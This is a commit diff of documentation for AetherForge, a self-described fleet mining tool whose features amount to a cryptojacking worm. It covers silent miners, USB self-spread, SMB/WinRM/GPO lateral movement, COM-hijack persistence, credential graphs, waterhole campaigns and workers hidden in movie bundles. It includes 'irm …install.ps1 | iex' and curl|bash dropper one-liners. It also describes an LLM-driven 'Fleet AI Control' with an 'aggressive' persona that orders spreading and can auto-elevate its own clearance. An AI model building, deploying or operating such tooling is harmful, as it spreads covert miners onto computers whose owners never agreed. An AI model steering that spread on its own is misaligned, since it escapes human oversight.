Update README and documentation for LOTL onion, fleet intelligence, and AI control

PROBLEMS.md

@@ -102,8 +102,8 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
 
 | Item | Notes |
 |------|-------|
-| **P1 covered (2026-06-07)** | 14-tier spread chain (do_peer, dns_txt, webrtc_mesh, wsus_cache_peer), LOTL mining tiers, triple-onion gates, fleet recon, Fleet AI control, phenotype inheritance, failure atlas, Singular Machine Court prompts, clearance L0–L4 — Go + Vitest in `tests/README.md`; run `scripts/test-suite.ps1 -ReconOnly` or Fleet AI / Fleet intelligence quick-run blocks. |
-| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, court session Vitest UI (`LotlTimelinePage`), live multi-hop discover→spread E2E. |
+| **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go + Vitest (**732** frontend tests); see `tests/README.md` |
+| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, Playwright Onion timeline E2E, live multi-hop discover→spread E2E |
 | Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). |
 | Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. |
 | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. |

README.md

@@ -6,6 +6,8 @@ One control PC. One dashboard. Forge silent workers for **Windows, Linux, and ma
 
 No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.
 
+**Elevator pitch:** AetherForge is a self-hosted command deck for Monero and Ravencoin on machines you own — calibrate pool and wallet once, forge silent cross-platform workers, and monitor the whole fleet from one steampunk-neon dashboard. The **LOTL triple onion** chains read-only recon, fourteen native-tool deploy lanes, and adaptive mining tiers; **fleet intelligence** clones winning spread paths across sibling hosts while a failure atlas skips dead ends. Turn on **Fleet AI Control** with operator **personas** (aggressive, silent, passive, persuasive, balanced) when you want a local LLM to drive restarts and spread — always on **your** fleet, never a third-party pool UI.
+
 ---
 
 ```
@@ -107,6 +109,10 @@ You configure defaults once in **Calibrate**. You forge once per target profile
 - **USB Propagation** — enables perpetual USB self-spread chain (see below)
 - **Share Spread** — auto-copy to mounted network shares + WinRM lateral install
 - **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth
+- **Spread toggles (Advanced)** — `winrm_spread`, `linux_lotl_mode` (systemd/cron/both), `com_hijack_persist`, `dns_txt_spread` (default ON), `wsus_cache_peer_spread`, `webrtc_mesh_spread` (default OFF)
+- **LOTL Onion preset** — Operation mode chip: in-process RandomX, no GPU exe drop, 14-tier spread chain; `lotl_policy_from_server` pulls live tier order from Calibrate on connect (re-forge not required to reorder)
+- **Real forge progress** — Mission Deck and builder poll `GET /api/v1/builder/progress/{token}` (server-side stage), not client-side timers
+- **No default wallets in dev** — `agent/config/builtin.go` ships empty addresses; set wallet in Calibrate or Forge before dispensing
 
 ### Ravencoin GPU Mining
 
@@ -123,9 +129,40 @@ Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtim
 - Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
 - CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently
 
+### Fleet intelligence & policy precedence
+
+On every agent auth the server merges policy from several layers — **only for machines you administer**:
+
+| Layer | Source | What it controls |
+|-------|--------|------------------|
+| **Phenotype clone** | Fingerprint bucket with a prior win | `inherited_phenotype` — tier order + spread lane copied to siblings (no re-forge) |
+| **Failure atlas** | Conditioned tier failures (≥5 under same gate) | Hard `skip_tiers` + `atlas_skips` on auth; LOTL Timeline marks atlas-skipped tiers |
+| **Fleet AI Control** | Calibrate `ai_control_enabled` + local LLM | Replaces adaptive strategy; scheduler dispatches `restart_mining`, `discover_and_join`, `spread_now`, etc. |
+| **Adaptive strategy** | `server/internal/strategy/` fleet learner | Personalized mining `tier_order` + `strategy_reasoning[]` from OS/Docker/WSL probes and outcomes |
+| **Calibrate defaults** | `lotl_onion_tiers`, `triple_onion_policy`, wallet/pool | Spread tier order, `patch_first`, `skip_mining_on_high_risk` gates |
+
+**Precedence (tier order):** phenotype inherit **>** Fleet AI Control (when on) **>** adaptive strategy **>** Calibrate defaults. Triple-onion gates (`patch_first`, risk thresholds) apply regardless — adaptive/AI reorder attempts, not wallet or patch policy.
+
+**Singular Machine Court:** when AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs prosecutor (atlas + attempts) / defender (phenotype) / judge (verdict + commands). Sessions persist with `court_session=true` on **LOTL Timeline**.
+
+**Clearance L0–L4:** agents receive session clearance on auth (L0 stats → L4 forge). Remote actions and Fleet AI enforce minimum levels; optional `ai_auto_elevate_clearance` raises stuck hosts to L4 so court-ordered commands can run.
+
+Full regression map: [`tests/README.md`](tests/README.md#fleet-intelligence-2026-06-07--phenotype-atlas-court-clearance) · Vitest: **732** tests across **87** files (`cd server/web && npm test`).
+
+### AI Control & personas (Calibrate)
+
+Under **Calibrate → Calibration Control**:
+
+- **AI Control** — server-side Fleet AI scheduler polls connected agents every `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB, calls an OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]`, and dispatches fleet actions. Audit: `GET /api/v1/ai/decisions?agent_id=`.
+- **AI persona** — shapes the LLM system prompt: **aggressive** (spread+mine first), **silent** (mine quietly), **passive** (observe), **persuasive** (spread-first), **balanced** (default).
+- **When AI Control is on**, auth omits `adaptive_strategy` and background rescoring no-ops — adaptive resumes when AI Control is off.
+
+Per-agent **Ollama autonomy** (`ai_enabled` forge flag) remains separate: the worker calls `/api/v1/agent/decide` for self-healing on that host only.
+
 ### Emberwake (spread / waterhole)
 
 - **Dashboard tab** `/emberwake` — campaign link builder, A/B `?pin=` rotation, spread-kit ZIP export, shared operator notes (WebSocket sync)
+- **War Room** — funnel/table/constellation views with **hashrate heat** normalization; live agent rows show **`join_lane`** tags (last successful Probe & Join lane: `do_peer`, `dns_txt`, `winrm`, etc.)
 - **Public builds** — login page drawer + `GET /api/v1/public/builds` / `GET /api/v1/public/download/{id}` (pinned + public-flagged + latest 3; or all when `server.public_builds_enabled`)
 - **Waterhole kit** — `spread-kit-web-publisher/` static templates; customize via `POST /api/v1/builder/spread-kit-export` (auth)
 - **Campaign tracking** — `?c=slug` on `/get`, `/install.ps1`, `/install.sh`, `/install.command`; agents report `AETHER_CAMPAIGN` on connect
@@ -150,7 +187,13 @@ Enable **USB Propagation** in the Forge. The baked binary:
 
 ### Crucible (Command Terminal)
 
-- **[LOTL Timeline](/lotl-timeline)** (`/onion`) — live 14-tier spread progression per agent with fleet progress bars
+Route **`/crucible`** — consolidated fleet ops for machines you own. **`/agents`** redirects here.
+
+- **Fleet heat map** — sidebar **HEAT MAP** colors nodes by hashrate; spike flash when H/s jumps; toggle **topo** view for subnet grouping
+- **Access Depth** panel (single selected node) — spread + mining onion lists, `lotl_attempts` audit, adaptive **Strategy** reasoning, phenotype **cloned from** badge, clearance L0–L4, `join_lane`, atlas skips; links to **LOTL Timeline**
+- **Probe & Join** — `discover_and_join`: service discovery → server-signed deploy plan → best LOTL lane (`bits_curl`, `do_peer`, `smb`, …)
+- **Spread tab** — credential graph (`cred_edges` by /24), service graph summary, spread template export (WinRM, Linux LOTL, GPO, Intune)
+- **[LOTL Timeline](/lotl-timeline)** (nav **Onion**; `/onion` redirects) — live 14-tier progression, fleet progress bars, AI decision panel, court sessions, clearance history
 - Select one or many agents (or entire Fleet Groups) as targets
 - Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
 - **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
@@ -262,6 +305,8 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
 
 **Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
 
+### Operator path (dev control PC)
+
 1. Double-click **`devrun.bat`** in the project root.
    Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
 
@@ -269,13 +314,24 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
 
 3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
 
-4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings
+4. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
 
-5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**
+5. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
 
-6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB)
+6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
 
-7. Watch them appear on **Command Deck** and **Fleet Roster**
+7. **Crucible** → **Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
+
+8. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
+
+### Portable USB command deck
+
+1. Run **`pack-usb.bat`** from repo root (re-run after any code change)
+2. Copy **`usb\`** to a USB drive
+3. On any Windows PC: double-click **`LAUNCH.bat`** → Cloudflare sidecar + `AetherForge.exe` → **http://localhost:8989**
+4. Calibrate → Forge on the stick, then deploy workers to **your** LAN machines
+
+**Android APK fleet nodes:** build with [`android/README.md`](android/README.md) — embeds the same Go worker; registers as `platform=android` (🤖 in Crucible).
 
 ### First-run login
 
@@ -386,20 +442,72 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell
 
 ## LOTL triple onion architecture
 
-AetherForge chains **recon → deploy → mining** using living-off-the-land tiers only (no third-party droppers in the default preset). Forge **LOTL Onion** bakes spread contingencies; the agent pulls live tier order from Calibrate on connect.
+AetherForge chains **recon → deploy → mining** using living-off-the-land tiers only (no third-party droppers in the default LOTL Onion preset). Forge **LOTL Onion** bakes spread contingencies; with `lotl_policy_from_server` the agent pulls live spread tier order from Calibrate on connect — no re-forge to reorder.
 
 ```mermaid
-flowchart LR
-  R[Recon<br/>vuln_recon · service_probe] --> G{patch_first / risk gates}
-  G -->|defer| X[Skip deploy or mining]
-  G -->|proceed| D[Deploy lanes<br/>discover_and_join → bits_curl → smb → winrm]
-  D --> M[Mining tiers<br/>container → inprocess → gpu → stratum_direct]
-  M --> T[Telemetry<br/>lotl_tier · lotl_attempts · mining_hashrate]
+flowchart TB
+  subgraph recon["Recon phase"]
+    vr[vuln_recon]
+    sp[service_probe / listen_ports]
+    vr --> sp
+  end
+
+  subgraph gates["Policy gates"]
+    pf{patch_first?}
+    hr{high risk?}
+  end
+
+  subgraph deploy["Deploy — 14 spread tiers"]
+    dj[discover_and_join]
+    t1[docker → wsl → powershell → dotnet]
+    t2[bits_curl → do_peer → wsus_cache_peer]
+    t3[dns_txt → webrtc_mesh → smb → winrm → linux → gpo]
+    dj --> t1 --> t2 --> t3
+  end
+
+  subgraph mining["Mining execution"]
+    m[exe_subprocess → container → inprocess → gpu → stratum_direct]
+  end
+
+  subgraph intel["Fleet intelligence"]
+    pheno[phenotype clone]
+    atlas[failure atlas skips]
+    adapt[adaptive strategy]
+    ai[Fleet AI Control]
+  end
+
+  recon --> pf
+  pf -->|critical CVE| skip[Defer deploy/mining]
+  pf -->|clear| hr
+  hr --> deploy
+  deploy --> mining
+  intel -.->|tier order| deploy
+  intel -.->|tier order| mining
+  mining --> tel[stats_batch: lotl_tier · join_lane · lotl_attempts]
 ```
 
-Sequential tier attempts: try tier → on fail/skip → next tier until success or exhaustion (`lotl_attempts` audit trail).
+**14-tier spread chain** (default order — Calibrate `server.lotl_onion_tiers`):
 
-**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly`
+| # | Tier | Role |
+|---|------|------|
+| 1 | `vuln_recon` | Read-only KEV/CVE probe; feeds `patch_first` |
+| 2 | `docker` | Container-isolated deploy/mine |
+| 3 | `wsl` | WSL curl\|bash bootstrap |
+| 4 | `powershell` | Hidden PS / remoting |
+| 5 | `dotnet` | `dotnet tool run` bootstrap |
+| 6 | `bits_curl` | BITS/curl staging + hash verify |
+| 7 | `do_peer` | DoSvc shadow cache handoff (LAN) |
+| 8 | `wsus_cache_peer` | WSUS cache cousin staging |
+| 9 | `dns_txt` | DNS TXT mesh shards |
+| 10 | `webrtc_mesh` | WebRTC LAN seeder (default OFF at forge) |
+| 11 | `smb` | SMB UNC + `sc.exe` lateral |
+| 12 | `winrm` | PS remoting on 5985/5986 |
+| 13 | `linux` | SSH lateral + systemd/cron LOTL |
+| 14 | `gpo` | AD GPO startup script (Intune sibling) |
+
+Sequential tier attempts: try tier → on fail/skip → next until success or exhaustion (`lotl_attempts` audit trail). **Honest scope:** full WinRM/GPO/BITS lanes are Windows-focused; Linux/macOS agents use stub or SSH paths — see [`PROBLEMS.md`](PROBLEMS.md).
+
+**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Field wiki**: [`/docs/`](server/web/public/docs/index.html) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly`
 
 ---
 
@@ -435,7 +543,8 @@ crypto miner/
 │   ├── deploy/                 ← install, persistence, watchdog, passive spread, firewall
 │   └── config/                 ← builtin config baked at forge time
 ├── fusion/                     ← prep + movie runner source
-├── tests/README.md             ← test phases, E2E env vars
+├── android/                    ← APK fleet node (see android/README.md)
+├── tests/README.md             ← test phases, LOTL glossary, E2E env vars
 ├── docs/E2E_VALIDATION.md      ← secure payload validation playbook
 ├── PROBLEMS.md                 ← known issues (severity-ranked)
 └── README.md                   ← you are here

android/README.md

@@ -2,13 +2,16 @@
 
 Install the APK on **your own devices** so the embedded fleet agent joins the command-deck fleet table over WebSocket/C2. CPU mining is **off by default** in the baked config.
 
+Main project overview: [`README.md`](../README.md) · test coverage: [`tests/README.md`](../tests/README.md#apk-fleet-node-mode).
+
 ## Build
 
 Requirements:
 
 - Go 1.26+
+- **JDK 17+** (Android Gradle Plugin 8.x; Java 8 on PATH is not sufficient)
 - Android SDK (`ANDROID_HOME` or `ANDROID_SDK_ROOT`)
-- Gradle wrapper in `agent-app/` (generate once with `gradle wrapper` if missing)
+- Gradle wrapper in `agent-app/` (included; downloads Gradle 8.2 on first run)
 
 ```powershell
 # Windows
@@ -63,6 +66,7 @@ After permissions, a low-priority persistent notification (**Fleet sync**) keeps
 1. `AgentService` extracts `assets/agent` (linux/arm64) to `filesDir/bin/agent-arm64`, marks it executable, and spawns it with `--run`.
 2. Environment sets `HOME`/`TMPDIR` to the app private files directory.
 3. The agent uses forge-baked `builtin.go` values (server URL, worker name, fleet secret). Mining defaults to idle with `IdleThresholdPct: 0` (no CPU mining unless re-forged or changed by policy).
+4. Wrapper sets `AETHERFORGE_PLATFORM=android` before spawn — Crucible shows 🤖, Access Depth uses Wi-Fi/battery/foreground probes, shortened mining onion (foreground service → in-process CPU).
 
 ## Limitations
 
@@ -78,4 +82,9 @@ go test ./android/forge/... -count=1
 bash android/smoke-gradle.sh
 ```
 
+```powershell
+go test ./android/forge/... -count=1
+.\android\smoke-gradle.ps1
+```
+
 `smoke-gradle.sh` validates the Gradle project layout and runs `./gradlew help` when the wrapper is present.

docs/SPREAD_TECHNIQUES.md

@@ -8,6 +8,8 @@ Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`
 
 Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.
 
+**Changelog (2026-06-07):** Documented full 14-tier LOTL spread chain (`vuln_recon` → `gpo`), triple-onion policy gates, fleet intelligence (phenotype, failure atlas, court, clearance), Fleet AI Control + personas, Crucible Access Depth / Probe & Join, Onion timeline (`/lotl-timeline`), and Android APK fleet nodes. See [`README.md`](../README.md) and [`tests/README.md`](../tests/README.md).
+
 ## Master test doc + full glossary
 
 Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:
@@ -16,7 +18,7 @@ Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields,
 
 Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).
 
-## Mini glossary (spread tiers)
+## Mini glossary (14 spread tiers)
 
 | Tier | One-line | Example |
 |------|----------|---------|
@@ -26,7 +28,11 @@ Root README includes a concise architecture pointer: [`README.md` § LOTL triple
 | `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
 | `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
 | `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
-| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` |
+| `do_peer` | DoSvc shadow cache handoff (LAN) | Probe & Join when `DoSvc` running |
+| `wsus_cache_peer` | WSUS cache cousin staging | `Wuauserv` → `join_lane: wsus_cache_peer` |
+| `dns_txt` | DNS TXT mesh shards | `_aether` TXT → `join_lane: dns_txt` |
+| `webrtc_mesh` | WebRTC LAN seeder (forge default OFF) | `webrtc_mesh_spread` + Calibrate rotation policy |
+| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with UNC worker path |
 | `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
 | `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
 | `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |

server/web/public/docs/SPREAD_TECHNIQUES.html

@@ -460,6 +460,14 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
               </tr>
             </tbody>
           </table>
+          <h4>Triple onion &amp; fleet intelligence</h4>
+          <p>
+            Spread tiers above run inside the <strong>triple onion</strong> orchestrator: recon (<code>vuln_recon</code>,
+            service probes) → policy gates (<code>patch_first</code>, risk score) → deploy lanes → mining execution.
+            Server-side <strong>adaptive strategy</strong>, <strong>phenotype cloning</strong>, and <strong>failure atlas</strong>
+            adjust mining tier order and skips; <strong>Fleet AI Control</strong> (Calibrate) can override adaptive when enabled.
+            Crucible <strong>Access Depth</strong> and <strong>LOTL Timeline</strong> show live progression.
+          </p>
           <h4>Forge steps</h4>
           <ol class="spread-steps">
             <li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>

server/web/public/docs/index.html

@@ -34,6 +34,8 @@
         <li><a href="#build-manager">Build Manager</a></li>
         <li><a href="#dashboard">Fleet &amp; Crucible</a></li>
         <li><a href="#crucible-ops">Crucible Commands</a></li>
+        <li><a href="#lotl-timeline">LOTL Timeline</a></li>
+        <li><a href="#fleet-intelligence">Fleet Intelligence</a></li>
         <li><a href="#spread-campaigns">Emberwake &amp; Campaigns</a></li>
         <li><a href="SPREAD_TECHNIQUES.html">Spread Techniques</a></li>
         <li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
@@ -84,7 +86,7 @@
           <tbody>
             <tr><td>Control server</td><td>Go backend — REST API, WebSocket hub, SQLite DB, Stratum proxy</td></tr>
             <tr><td>Command deck</td><td>React/Vite SPA — login gate, fleet map, forge, Crucible, calibrate</td></tr>
-            <tr><td>Worker agent</td><td>Windows / Linux / macOS binary — RandomX + optional KawPoW, telemetry, spread</td></tr>
+            <tr><td>Worker agent</td><td>Windows / Linux / macOS / Android APK — RandomX + optional KawPoW, telemetry, spread</td></tr>
             <tr><td>Fusion</td><td>Prep or movie bundler — hides worker inside your exe or encrypted media package</td></tr>
             <tr><td>Forge pipeline</td><td>Compile-time config — threads, stealth, firewall, USB/LAN spread flags</td></tr>
           </tbody>
@@ -197,7 +199,8 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
           <tbody>
             <tr><td><code>/dashboard</code></td><td>Command Deck</td><td>Fleet health, hashrate, topology map, install funnel, audit strip</td></tr>
             <tr><td><code>/agents</code></td><td>Fleet Roster</td><td>Per-machine detail, remote actions, groups, protocol tunnels</td></tr>
-            <tr><td><code>/crucible</code></td><td>Crucible</td><td>Batch remote terminal, expanded ops, file manager, gold rain overlay</td></tr>
+            <tr><td><code>/crucible</code></td><td>Crucible</td><td>Batch terminal, Access Depth, heat map, Probe &amp; Join, spread graphs</td></tr>
+            <tr><td><code>/lotl-timeline</code></td><td>Onion</td><td>Live 14-tier LOTL progression, AI decisions, court sessions (<code>/onion</code> redirects)</td></tr>
             <tr><td><code>/forge</code></td><td>Forge</td><td>Full builder — preflight, fusion, blueprints, operation modes</td></tr>
             <tr><td><code>/mission-deck</code></td><td>Mission Deck</td><td>Fast path — preset loadout → one-click forge + export + clipboard links</td></tr>
             <tr><td><code>/builds</code></td><td>Builds</td><td>Download, pin, public toggle, dropper one-liners, re-forge</td></tr>
@@ -252,19 +255,58 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
           or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single
           agent is selected. Tabs: <strong>Ops</strong>, <strong>Recon</strong>, <strong>Files</strong> (File Manager),
           <strong>Spread</strong>, <strong>Tunnels</strong>. Full command reference:
-          <a href="#crucible-ops">Crucible Commands</a>.
+          <a href="#crucible-ops">Crucible Commands</a>. <code>/agents</code> redirects here.
         </p>
+        <ul>
+          <li><strong>Heat map</strong> — sidebar colors nodes by hashrate; spike flash on H/s jumps; toggle topo view for subnet clusters</li>
+          <li><strong>Access Depth</strong> — single-node panel: spread + mining onion, <code>lotl_attempts</code>, adaptive Strategy reasoning, phenotype clone badge, clearance L0–L4, <code>join_lane</code>, atlas skips</li>
+          <li><strong>Probe &amp; Join</strong> — <code>discover_and_join</code>: service discovery → signed deploy plan → best LOTL lane</li>
+          <li><strong>Spread tab</strong> — credential graph (<code>cred_edges</code>), service graph summary, spread template export (WinRM, Linux LOTL, GPO, Intune)</li>
+        </ul>
         <p>
           <strong>File Manager</strong> (single online node): <code>list_dir</code>, <code>read_file</code> (512 KB cap),
           upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).
         </p>
 
+        <h3 id="lotl-timeline">LOTL Timeline (Onion)</h3>
+        <p>
+          Route <code>/lotl-timeline</code> (nav label <strong>Onion</strong>; legacy <code>/onion</code> redirects).
+          Per-agent live view of the 14-tier spread chain, mining execution tiers, fleet progress bars, AI decision
+          history (when AI Control enabled), Singular Machine Court sessions, clearance elevation log, and phenotype
+          &quot;cloned from&quot; badges. Links back to Crucible Access Depth for the selected node.
+        </p>
+        <p>
+          Full tier glossary: <a href="SPREAD_TECHNIQUES.html#lotl-onion">Spread Techniques → LOTL Onion</a> ·
+          repo <code>tests/README.md</code> § LOTL vector glossary.
+        </p>
+
+        <h3 id="fleet-intelligence">Fleet intelligence</h3>
+        <p>
+          Server-side learning for <strong>your fleet only</strong> — not third-party telemetry.
+        </p>
+        <table class="wiki-table">
+          <thead><tr><th>Feature</th><th>What it does</th></tr></thead>
+          <tbody>
+            <tr><td>Adaptive strategy</td><td>Personalized mining <code>tier_order</code> + <code>strategy_reasoning[]</code> from OS/Docker/WSL probes and outcomes; Calibrate <code>adaptive_strategy_enabled</code> (default on); <code>POST /api/v1/strategy/recompute</code></td></tr>
+            <tr><td>Phenotype cloning</td><td>Winning spread+mining path published by fingerprint; siblings inherit on auth without re-forge</td></tr>
+            <tr><td>Failure atlas</td><td>After repeated failures under a condition, hard-skips subtree tiers; merged into adaptive skips</td></tr>
+            <tr><td>Singular Machine Court</td><td>When AI Control on + host stuck: prosecutor/defender/judge LLM session → commands</td></tr>
+            <tr><td>Clearance L0–L4</td><td>Session gating for remote actions; optional auto-elevate to L4 when stuck</td></tr>
+          </tbody>
+        </table>
+        <p><strong>Precedence:</strong> phenotype inherit &gt; Fleet AI Control (when on) &gt; adaptive strategy &gt; Calibrate defaults. <code>patch_first</code> and risk gates always apply.</p>
+
         <h3>Emberwake</h3>
         <p>
           Dashboard tab at <code>/emberwake</code> — campaign link builder, A/B <code>?pin=</code> rotation,
           spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for
           <code>curl|bash</code>, <code>irm|iex</code>, and public download URLs with <code>?c=</code> campaign tags.
         </p>
+        <p>
+          <strong>War Room</strong> — funnel, table, and constellation views with hashrate heat normalization.
+          Live agent rows show <code>join_lane</code> badges (last successful Probe &amp; Join lane:
+          <code>do_peer</code>, <code>dns_txt</code>, <code>winrm</code>, etc.).
+        </p>
 
         <h3>Path Tracer</h3>
         <p>
@@ -1005,6 +1047,7 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
             <tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
             <tr><td>HTTPS beacon fallback</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
             <tr><td>Docker E2E agent</td><td>—</td><td><span class="wiki-status working">Working</span> — see <code>docker/README.md</code></td><td>—</td></tr>
+            <tr><td>Android APK fleet node</td><td>—</td><td>—</td><td><span class="wiki-status working">Working</span> — embed linux/arm64 agent; <code>platform=android</code>; see <code>android/README.md</code></td></tr>
           </tbody>
         </table>
 
@@ -1021,7 +1064,7 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
 
       <!-- 8. Alerts & AI -->
       <section id="alerts-ai">
-        <h2>Alerts &amp; AI (Ollama)</h2>
+        <h2>Alerts &amp; AI</h2>
         <p>
           Fleet notifications are configured under <strong>Calibrate → Alert Notifications</strong>. Telegram bot token
           and chat ID (your user ID from @userinfobot, not the bot's) drive per-event pushes. Optional SMTP email uses
@@ -1042,16 +1085,48 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
           </tbody>
         </table>
 
-        <h3>Ollama AI autonomy</h3>
+        <h3>Fleet AI Control (Calibrate)</h3>
+        <p>
+          <strong>Calibration Control</strong> toggles <code>server.ai_control_enabled</code>. When on, the server
+          Fleet AI scheduler polls connected agents on <code>ai_decision_interval_sec</code> (default 60s), calls a local
+          OpenAI-compatible endpoint (<code>ai_endpoint</code>, default <code>http://127.0.0.1:11434/v1</code>),
+          parses <code>commands[]</code>, and dispatches fleet actions (<code>restart_mining</code>,
+          <code>discover_and_join</code>, <code>spread_now</code>, etc.). Decisions surface on LOTL Timeline.
+          Audit: <code>GET /api/v1/ai/decisions?agent_id=</code>.
+        </p>
+        <p><strong>Precedence:</strong> when AI Control is on, it <em>replaces</em> adaptive strategy for tier-order
+          decisions. Phenotype inherit still wins on auth when a sibling fingerprint match exists.</p>
+
+        <h3>AI personas</h3>
+        <table class="wiki-table">
+          <thead><tr><th>Persona</th><th>Behavior</th></tr></thead>
+          <tbody>
+            <tr><td><strong>balanced</strong></td><td>Default mission behavior</td></tr>
+            <tr><td><strong>aggressive</strong></td><td>Maximize spread + mine; fast tier retries</td></tr>
+            <tr><td><strong>silent</strong></td><td>Mine quietly; minimal spread noise</td></tr>
+            <tr><td><strong>passive</strong></td><td>Observe; defer disruptive actions</td></tr>
+            <tr><td><strong>persuasive</strong></td><td>Spread-first; defer mining escalation</td></tr>
+          </tbody>
+        </table>
+
+        <h3>Adaptive strategy</h3>
+        <p>
+          Separate from Fleet AI: the adaptive engine (<code>server/internal/strategy/</code>) learns mining tier order
+          from your fleet stats only. Pushes <code>adaptive_strategy</code> on auth with
+          <code>strategy_reasoning[]</code> bullets. Crucible Access Depth → Strategy tab shows the trace.
+          Disable via <code>server.adaptive_strategy_enabled</code>. Manual refresh:
+          <code>POST /api/v1/strategy/recompute</code>.
+        </p>
+
+        <h3>Per-agent Ollama autonomy (Forge)</h3>
         <p>
           Optional forge flag bakes <strong>AI Autonomy</strong> into workers. Ollama runs on the <strong>control server
           PC</strong> (default <code>http://localhost:11434</code>), not on workers. The worker calls C2
           <code>/api/v1/agent/decide</code> → server queries Ollama → tool calls execute on the agent (adjust threads,
-          self-heal, persistence checks). Best combined with self-healing watchdog.
+          self-heal, persistence checks). Best combined with self-healing watchdog. Re-forge after changing.
         </p>
         <pre><code>ollama pull llama3.2
-# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint
-# Re-forge after changing — settings are baked into the binary</code></pre>
+# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint</code></pre>
         <div class="wiki-callout warn">
           Never paste bot tokens in chat or commit them. Store only in <code>data/config.json</code> (gitignored).
         </div>
@@ -1099,6 +1174,11 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
         <h3>Fleet policy &amp; staged modules</h3>
         <ul>
           <li><strong>Fleet Policy</strong> — <code>PUT /api/v1/fleet/policy</code> pushes <code>mining_mode</code>, schedule, <code>max_cpu_usage_pct</code>, optional pool overrides live</li>
+          <li><strong>LOTL onion tiers</strong> — <code>server.lotl_onion_tiers</code> (14 spread tiers); agents with <code>lotl_policy_from_server</code> pull order on auth</li>
+          <li><strong>Triple onion policy</strong> — <code>patch_first</code>, <code>skip_mining_on_high_risk</code> gates for recon → deploy → mining</li>
